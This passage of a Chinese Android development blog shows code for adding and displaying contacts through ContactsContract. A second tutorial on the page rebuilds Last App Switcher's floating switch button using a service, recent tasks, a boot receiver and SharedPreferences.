    public Object getItem(int position) {
        return listContact.get(position);
    }

    @Override
    public long getItemId(int position) {
        return position;
    }

    @Override
    public View getView(int position, View convertView, ViewGroup parent) {
        ViewHolder holder = null;
        if (convertView == null) {
            convertView = View
                    .inflate(context, R.layout.listview_contact, null);
            holder = new ViewHolder();
            holder.id = (TextView) convertView.findViewById(R.id.id);
            holder.name = (TextView) convertView.findViewById(R.id.name);
            holder.phone = (TextView) convertView.findViewById(R.id.phone);
            convertView.setTag(holder);
        } else {
            holder = (ViewHolder) convertView.getTag();
        }
        Contact con = listContact.get(position);
        holder.id.setText(con.getId().toString());
        holder.name.setText(con.getName());
        holder.phone.setText(con.getPhone());
        return convertView;
    }

    static class ViewHolder {
        TextView id;
        TextView name;
        TextView phone;
    }

}

  添加联系人Activity:

AddContactActivity.java

package com.demo.contentprovider;

import android.app.Activity;
import android.content.ContentUris;
import android.content.ContentValues;
import android.net.Uri;
import android.os.Bundle;
import android.provider.ContactsContract;
import android.provider.ContactsContract.CommonDataKinds.Phone;
import android.provider.ContactsContract.CommonDataKinds.StructuredName;
import android.provider.ContactsContract.Data;
import android.provider.ContactsContract.RawContacts;
import android.view.View;
import android.view.View.OnClickListener;
import android.widget.Button;
import android.widget.EditText;

/**
 * 添加联系人信息
 * @author yinbenyang
 *
 */
public class AddContactActivity extends Activity implements OnClickListener{

    private EditText name,phone;
    private Button save,cancel;
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        // TODO Auto-generated method stub
        super.onCreate(savedInstanceState);
        setContentView(R.layout.addcontact);
        name = (EditText) findViewById(R.id.name);
        phone = (EditText) findViewById(R.id.phone);
        save = (Button) findViewById(R.id.save);
        cancel = (Button) findViewById(R.id.cancel);
        save.setOnClickListener(this);
        cancel.setOnClickListener(this);
    }
    @Override
    public void onClick(View v) {
        // TODO Auto-generated method stub
        switch (v.getId()) {
        case R.id.save:
            String _name = name.getText().toString().replaceAll(" ", "");
            String _phone = phone.getText().toString().replaceAll(" ","");
            ContentValues values = new ContentValues();
             //首先向RawContacts.CONTENT_URI执行一个空值插入,目的是获取系统返回的rawContactId
            Uri rawContactUri =getContentResolver().insert(RawContacts.CONTENT_URI, values);
            long rawContactId = ContentUris.parseId(rawContactUri);
            //往data表入姓名数据
            values.clear();
            values.put(Data.RAW_CONTACT_ID, rawContactId);
            //设置内容类型
            values.put(Data.MIMETYPE, StructuredName.CONTENT_ITEM_TYPE);
            //设置内容名字
            values.put(StructuredName.GIVEN_NAME, _name);
            getContentResolver().insert(
                    ContactsContract.Data.CONTENT_URI, values);
            
          //往data表入电话数据
            values.clear();
            values.put(Data.RAW_CONTACT_ID, rawContactId);
            values.put(Data.MIMETYPE, Phone.CONTENT_ITEM_TYPE);
            //设置电话号码
            values.put(Phone.NUMBER, _phone);
            //设置电话类型
            values.put(Phone.TYPE, Phone.TYPE_MOBILE);
            getContentResolver().insert(
                    ContactsContract.Data.CONTENT_URI, values);
            this.finish();
            break;
        case R.id.cancel:
            this.finish();
            break;
        default:
            break;
        }
    }
}

  联系人详细页面:

ContactDetailActivity.java

package com.demo.contentprovider;

import android.app.Activity;
import android.content.ContentResolver;
import android.content.Intent;
import android.database.Cursor;
import android.os.Bundle;
import android.provider.ContactsContract;
import android.widget.TextView;

/**
 * 联系人详细信息
 *
 * @author yinbenyang
 *
 */
public class ContactDetailActivity extends Activity {

    private TextView et_name, et_phone, et_email, et_address;

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.contactdetail);
        et_name = (TextView) findViewById(R.id.et_name);
        et_phone = (TextView) findViewById(R.id.et_phone);
        et_email = (TextView) findViewById(R.id.et_email);
        et_address = (TextView) findViewById(R.id.et_address);
        Intent intent = getIntent();
        String id = intent.getStringExtra("id");
        ContentResolver resolver = getContentResolver();

        // 查找姓名
        Cursor nameCursor = resolver.query(
                ContactsContract.Contacts.CONTENT_URI,
                null,
                ContactsContract.Contacts._ID + " = " + id,
                null, null);
        while(nameCursor.moveToNext()){
            et_name.setText(nameCursor.getString(nameCursor.getColumnIndex(ContactsContract.Contacts.DISPLAY_NAME)));
        }
        // 查找手机号
        Cursor phoneCursor = resolver.query(
                ContactsContract.CommonDataKinds.Phone.CONTENT_URI, null,
                ContactsContract.CommonDataKinds.Phone.CONTACT_ID + " = " + id,
                null, null);
        while (phoneCursor.moveToNext()) {
            et_phone.setText(phoneCursor.getString(phoneCursor
                    .getColumnIndex(ContactsContract.CommonDataKinds.Phone.NUMBER)));
        }
        // 查找邮箱
        Cursor emailCursor = resolver.query(
                ContactsContract.CommonDataKinds.Email.CONTENT_URI, null,
                ContactsContract.CommonDataKinds.Email.CONTACT_ID + " = " + id,
                null, null);
        while (emailCursor.moveToNext()) {
            et_email.setText(emailCursor.getString(emailCursor
                    .getColumnIndex(ContactsContract.CommonDataKinds.Email.DATA)));
        }

        // 查找地址
        Cursor addressCursor = resolver.query(
                ContactsContract.CommonDataKinds.StructuredPostal.CONTENT_URI,
                null,
                ContactsContract.CommonDataKinds.StructuredPostal.CONTACT_ID
                        + " = " + id, null, null);
        while (addressCursor.moveToNext()) {
            et_address
                    .setText(addressCursor.getString(addressCursor
                            .getColumnIndex(ContactsContract.CommonDataKinds.StructuredPostal.DATA)));
        }
    }
}

最后效果图如下。可以实现联系人的添加,删除和修改功能:

 


 


 
 




Android中Last App Switcher应用的一个浮动按钮实现应用的切换非常有用,我现在现在自己尝试仿造一个这样子的功能。

在Android众多工具类app中,Last App Switcher绝对算是一个让人用过就不会卸载的工具。LAS这个应用,它的功能很简单,就是通过一个浮动按钮实现在两个应用之间一键切换,但是非常实用,尤其是在边玩边聊天需要频繁切换应用的时候。所以可以看出,想开发一款受欢迎的应用,一定要注重用户体验,只要用户用的爽,功能再再再简单,它也会受欢迎。那么这功能到底有多简单呢?跟我来实现一下就好了。


我就不截图了,下面用官方的截图来说明。这里真心推荐读者下载用一下。谷歌商店的下载地址:Last App Switcher 搞开发的应该都会FQ吧

看下原始程序界面:

LAS Main View

可以看到主界面就是一系列开关选项,同时程序右边有一个浮动的圆形窗口。下面我会按照步骤一步步增加功能。


仿iOS按钮

写demo不需要多好的界面,但也不能太丑,手里有看起来不错的控件就直接拖进来用了。下面是效果图,这一套按钮有好几种,都是仿iOS的,想要的可以点原作者的这篇博客,源码Github地址。

先添加一个开关主功能的按钮:

初始界面


浮动按钮

可以看到,这个应用的主要功能就在于那个红色的浮动按钮上面。根据程序功能可以知道,这个浮动按钮是由程序开启的服务中创建的。又因为程序的Activity在离开onStart()状态后就会销毁(这样做的原因后面说),之后按钮仍保持其可用状态。所以可以知道是通过startService()启动的服务。下面我们就需要先写一个服务出来,再在服务中绘一个浮动按钮。具体有关服务的细节参考我上一篇博客:博客传送门。

写一个服务FloatButtonService,在AndroidManifest.xml文件添加服务

<service android:name=".FloatButtonService" >
</service>

服务中添加绘制浮动按钮方法,相关说明见注释

private void createFloatView() {

}

方法添加完毕在服务相应的调用位置创建和销毁浮动按钮

@Override
public void onCreate() {
    // TODO Auto-generated method stub
    super.onCreate();
    createFloatView();
}

@Override
public void onDestroy() {
    // TODO Auto-generated method stub
    super.onDestroy();
    if (mFloatLayout != null) {
        mWindowManager.removeView(mFloatLayout);
    }
}

使用浮动按钮还需要增加权限:

<uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />

这样,我们在MainActivity中就可以为按钮增加响应事件,进行开启和关闭服务了。

将程序从最近任务(last recent tasks)中移除

  按下系统导航栏第三个按钮我们就可以看到最近使用过的任务列表,当然,LAS切换程序也是在这里选择最后使用的两个应用程序切换的。所以在切换的时候,把自己的Activity从最近的任务中删掉是很必要的。
前面提到过,就是在Activity的onPause()状态或者onStop()状态中执行finishAndRemoveTask()方法删除任务。但这个方法在API 21也就是Android 5.0才引入。不过,我们还有一个更方便的方法,就是在配置文件的<activity>标签中增加

android:excludeFromRecents="true"

这样不论你是按下back键还是home键,程序都会从最近使用过的任务列表中删除

任务间的切换

  将自身Activity从最近任务列表中删除后,我们就可以考虑获取最后两次的任务,然后互相一键切换了。
在浮动按钮的单击事件中添加
首先需要获得ActivityManager的对象

ActivityManager mActivityManager = (ActivityManager) this.getSystemService(Context.ACTIVITY_SERVICE);

要获取任务还需要对应权限

<uses-permission android:name="android.permission.GET_TASKS"/>

有了权限,就可以获取到任务列表了

List<ActivityManager.RecentTaskInfo> mAppList = new ArrayList<ActivityManager.RecentTaskInfo>();
mAppList = mActivityManager.getRecentTasks(3, ActivityManager.RECENT_IGNORE_UNAVAILABLE);

建立一个装有RecentTaskInfo的列表,通过getRecentTasks方法获取系统的最近使用过的应用列表。

关于getRecentTasks方法,第一个参数是一个整型值,是你需要返回的应用数量,但实际上得到的数量可能会比这个值要小。比如
我要得到3个,但后台只开了1个,那么只返回1个。第二个参数是要返回的应用的状态,我选择的是忽略不可用的应用,应该是完全关闭,不在后台的应用。

再说一点,这个方法在Android5.0因为安全问题屏蔽掉了,也就是android5.0以上的版本不能用这个方法。所以我前一阵子在App Store上看到评论都是Android5.0用这个没有效果。现在行不行我倒不知道,闲了再研究吧。(每次我说闲了再做基本都是个坑- -|)

前面的参数我之所以要选择3,是因为我只需要获得最近使用的2个应用,因为每次开新应用,这个应用信息都会存在列表的最上面,所以获取前3个即可。

但为什么是3而不是2呢,因为Android的Home界面也是一个Activity(应该是),我可以选择是否要在切换的时候忽略掉Home界面。所以考虑到Home,就要用3。
Home的包名为com.android.launcher,以此为根据进行判断即可。

private void getAndStartIntent(int i){
    ActivityManager.RecentTaskInfo info = mAppList.get(i);
    if (null == info)
        Toast.makeText(FloatButtonService.this, "No other apps", Toast.LENGTH_SHORT).show();
    else if(sp.getBoolean(StringKey.ExcludeHome, false)){ // if set true, do follow func
        if(info.baseIntent.getComponent().getPackageName().equals(HOME_PACKAGE))    //exclude HOME
            getAndStartIntent(2);
    }else
        startActivityWithoutAnimation(info);
}

启动一个应用的过程默认是有一个切换动画的,我们的程序就是用来切换程序的,所以取消启动动画是一个比较好的选择。
只用给要启动的intent加一个flag即可(有些情况下不会生效)

intent.addFlags(Intent.FLAG_ACTIVITY_NO_ANIMATION);


开机启动

  Android开机启动结束会发送一个BOOT_COMPLETED的广播,我们在程序中建立一个广播接收器来接收这个广播,接收成功就直接启动服务来显示浮动按钮即可。
先建立一个广播接收器 BootReceiver

public class BootReceiver extends BroadcastReceiver {

    @Override
    public void onReceive(Context context, Intent intent) {
        // TODO Auto-generated method stub
        if (intent.getAction().equals("android.intent.action.BOOT_COMPLETED")) {// on boot
            Intent a = new Intent(context, FloatButtonService.class);
            context.startService(a);
        }
    }
}

在配置文件中,<application>标签下注册广播接收器

<receiver android:name=".BootReceiver" >
    <intent-filter>
        <action android:name="android.intent.action.BOOT_COMPLETED" />

        <category android:name="android.intent.category.LAUNCHER" />
    </intent-filter>
</receiver>

然后增加权限

<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />

开机启动就完成了。但怎么用开关来控制其是否开机启动呢?

SharedPreferences

  用开关控制功能的开启状态,这个状态不能保存在程序中,因为程序是要被关闭的。那么就是要用一些方法保存开关的状态到系统中,然后服务从文件读取状态,控制自己的程序行为。Android中最适合保存配置状态的就是用SharedPreferences了。当我查看LAS应用的数据文件的时候,发现输出的结果的确是这样的。

cat /data/data/com.abhi.lastappswitcher/shared_prefs/com.inpen.lastAppSwitcher.APPLICATION_PREFS.xml

<?xml version='1.0' encoding='utf-8' standalone='yes' ?>
<map>
<boolean name="com.inpen.lastAppSwitcher.PREF_SNAP_TO_EDGE" value="true" />
<int name="com.inpen.lastAppSwitcher.PREF_LAND_HEIGHT" value="800" />
<int name="com.inpen.lastAppSwitcher.PREF_LAND_FLOATER_Y" value="485" />
<int name="com.inpen.lastAppSwitcher.PREF_LAND_WIDTH" value="1280" />
<int name="com.inpen.lastAppSwitcher.PREF_PORT_FLOATER_Y" value="776" />
<int name="com.inpen.lastAppSwitcher.PREF_PORT_WIDTH" value="800" />
<boolean name="com.inpen.lastAppSwitcher.PREF_ERROR_MSG" value="true" />
<boolean name="com.inpen.lastAppSwitcher.PREF_STATUS_BAR_OVERLAY" value="false" />
<int name="com.inpen.lastAppSwitcher.PREF_FLOATER_SIZE" value="55" />
<int name="com.inpen.lastAppSwitcher.PREF_PORT_FLOATER_X" value="765" />
<int name="com.inpen.lastAppSwitcher.PREF_PORT_HEIGHT" value="1280" />
<int name="com.inpen.lastAppSwitcher.PREF_FLOATER_TRANSPARENCY" value="75" />
<int name="currentQuote" value="6" />
<int name="com.inpen.lastAppSwitcher.PREF_SWITCHING_METHOD" value="1" />
<boolean name="com.inpen.lastAppSwitcher.PREF_FLOATER_MOVABLE" value="true" />
<boolean name="com.inpen.lastAppSwitcher.PREF_HAPTIC_FEEDBACK" value="false" />
<int name="com.inpen.lastAppSwitcher.PREF_FLOATER_COLOR" value="0" />
</map>

那么,我们就可以根据自己的需求来写sharedPreferences文件了
先获得 SharedPreferences 的实例

SharedPreferences sp = getSharedPreferences("las_demo", Context.MODE_PRIVATE);

参数1是不带后缀的文件名,根据文件名获取实例,同一个名字的SharedPreferences对象只获得同一个实例;
参数2是模式操作模式:

    Context.MODE_PRIVATE:
    为默认操作模式,代表该文件是私有数据,只能被应用本身访问,在该模式下,写入的内容会覆盖原文件的内容。
    Context.MODE_APPEND:
    创建的文件是私有数据,该模式会检查文件是否存在,存在就往文件追加内容,否则就创建新文件。
    MODE_WORLD_READABLE:
    表示当前文件可以被其他应用读取。
    MODE_WORLD_WRITEABLE:
    表示当前文件可以被其他应用写入。

获得实例之后要进行初始化,写入一些设定值。这里因为初始化只需要一次,但我没找到判断sharedPreferences文件是否存在的方法(没想用File去查,这个文件存在系统路径,有权限问题,估计不行,有知道的可以告诉我),有一个public abstract boolean contains (String key)方法,但用了感觉没效果,所以我又加了一个key,来保存第一次创建的状态,然后写入其他键-值,保存。

if(!sp.getBoolean(StringKey.FirstCreate, true)){

    Editor editor = sp.edit();
    editor.putBoolean(StringKey.FirstCreate, true);
    editor.putBoolean(StringKey.RunAtStart, false);
    editor.putBoolean(StringKey.SnapToEdge, true);
    editor.putBoolean(StringKey.StatusBarOverlay, false);
    editor.putBoolean(StringKey.ExcludeHome, true);

    editor.commit();
}

设置好键-值后就可以根据这些值设置界面里按钮的开关状态和设置程序的一些行为。

if (sp.getBoolean(StringKey.RunAtStart, false))
    mBtnRunAtStartup.setChecked(true);
else
    mBtnRunAtStartup.setChecked(false);

当然,在手动改变按钮状态的时候也要为某个key重新写入新的value

mBtnRunAtStartup.setOnCheckedChangeListener(new OnCheckedChangeListener() {

    @Override
    public void onCheckedChanged(CompoundButton buttonView, boolean isChecked) {
        // TODO Auto-generated method stub
        if (isChecked)
            editBoolKey(StringKey.RunAtStart, true);
        else
            editBoolKey(StringKey.RunAtStart, false);
    }
});


private void editBoolKey(String str, boolean b) {
    Editor editor = sp.edit();
    editor.putBoolean(str, b);
    editor.apply();
}

改SharedPreferences的key-value的时候需要获得editor对象实例,设置完成用apply()方法或者commit()方法提交修改。如果有两个editor实例在同时修改,则以最后一次的提交为准。如果不关心返回值,且在应用的主线程里使用,用apply()要比commit()好。
至此,需要开关功能就在功能实现的地方加一层读取SP键值的过程,根据读到的结果决定功能。是否可用。

悬浮按钮显示在status bar上方

按照下面设置windowManager的属性就好,没什么好解释的,放上文档看吧。

wmParams.flags = LayoutParams.FLAG_NOT_TOUCH_MODAL
               | LayoutParams.FLAG_NOT_FOCUSABLE
               | LayoutParams.FLAG_LAYOUT_IN_SCREEN;

    int android.view.WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL = 32 [0x20]
    Window flag: Even when this window is focusable (its is not set), allow any pointer events outside of the window to be sent to the windows behind it. Otherwise it will consume all pointer events itself, regardless of whether they are inside of the window.

    int android.view.WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE = 8 [0x8]
    Window flag: this window won't ever get key input focus, so the user can not send key or other button events to it. Those will instead go to whatever focusable window is behind it. This flag will also enable FLAG_NOT_TOUCH_MODAL whether or not that is explicitly set.
    Setting this flag also implies that the window will not need to interact with a soft input method, so it will be Z-ordered and positioned independently of any active input method (typically this means it gets Z-ordered on top of the input method, so it can use the full screen for its content and cover the input method if needed. You can use FLAG_ALT_FOCUSABLE_IM to modify this behavior.

    int android.view.WindowManager.LayoutParams.FLAG_LAYOUT_IN_SCREEN = 256 [0x100]
    Window flag: place the window within the entire screen, ignoring decorations around the border (a.k.a. the status bar). The window must correctly position its contents to take the screen decoration into account. This flag is normally set for you by Window as described in Window.setFlags.


按钮边缘吸附效果

  这个应该是最简单的了,在按钮的touch事件中,当移动结束,手指抬起行为ACTION_UP中对位置进行判断,如果按钮的x坐标在屏幕左半边,x设为0,即贴着屏幕左边缘显示,反之一个道理。

[!--infotagslink--]

相关文章